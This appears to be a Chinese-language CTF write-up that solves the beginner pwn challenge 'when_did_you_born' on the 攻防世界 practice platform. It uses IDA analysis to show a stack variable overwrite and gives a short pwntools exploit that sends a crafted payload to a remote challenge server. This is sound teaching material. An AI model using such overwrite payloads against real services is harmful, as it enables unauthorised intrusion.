攻防世界pwn新手练习(when_did_you_born)

when_did_you_born

ok 多余的话就不继续累赘了昂,直接上手
攻防世界pwn新手练习(when_did_you_born)_第1张图片
程序同上次一样开了NX(堆栈不可执行)和CANNARY(栈保护)。接下来我们首先运行一遍程序

攻防世界pwn新手练习(when_did_you_born)_第2张图片
一个没什么意义的程序…注意他的输入的有两处
ok,接下来我们用IDA直接看代码
攻防世界pwn新手练习(when_did_you_born)_第3张图片
很明显的可以看到当输入的年份为1926时可以得到flag。但是有个问题,在年份输入后它会有个判断当年份为1926时会报错并跳出…
emmm。。。。。。这怎么搞

全文看一下我们可以发现除了存放年份的v5变量以外,他还有一个v4和v6,那么他们是否有什么关联呢,我们双击点进去看一下
攻防世界pwn新手练习(when_did_you_born)_第4张图片ok,似不似很有意思?这意味着什么呢?这意味着我们可以用v4(Name)来覆盖v5(Birth)。
哎,发现了么,这两个东西刚好就是咱们需要输入的东西,所以这道题到这里就结束了,一个简单的变量覆盖
exp如下:

from pwn import *

r = remote("111.198.29.45", 58805)

payload = 'a' * (0x20 - 0x18) + p64(1926)

r.recvuntil("What's Your Birth?\n")
r.sendline("2000")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()

代码效果如下咯:
攻防世界pwn新手练习(when_did_you_born)_第5张图片
ok,完成

最后放一下我的博客(www.sailingplace.cn),有兴趣的师傅们可以来逛逛

你可能感兴趣的:(攻防世界,pwn)